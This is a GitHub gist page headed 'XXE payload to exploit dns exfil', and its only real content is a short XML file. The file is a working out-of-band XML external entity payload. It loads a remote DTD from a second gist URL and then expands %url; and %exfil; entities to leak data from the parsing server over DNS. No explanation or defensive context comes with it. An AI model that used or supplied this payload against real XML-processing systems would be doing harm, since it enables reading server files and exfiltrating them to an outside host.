Skip to content

Instantly share code, notes, and snippets.

@marcwickenden

marcwickenden/XXE.xml

Created May 16, 2018 17:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save marcwickenden/88c8f6d8e562a3fd279e52ec6f7a6ef8 to your computer and use it in GitHub Desktop.
Save marcwickenden/88c8f6d8e562a3fd279e52ec6f7a6ef8 to your computer and use it in GitHub Desktop.
Download ZIP
XXE payload to exploit dns exfil
Raw
XXE.xml
<?xml version="1.0" ?>
<!DOCTYPE x [
<!ENTITY % oobfile SYSTEM "https://gist.githubusercontent.com/marcwickenden/acd0b23953b52e7c1a1a90925862d8e2/raw/98f3a015c12aa2d3288376281040ec003961c6dc/oob-dns.xml">
%oobfile;
%url;
%exfil;
]>
<x></x>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment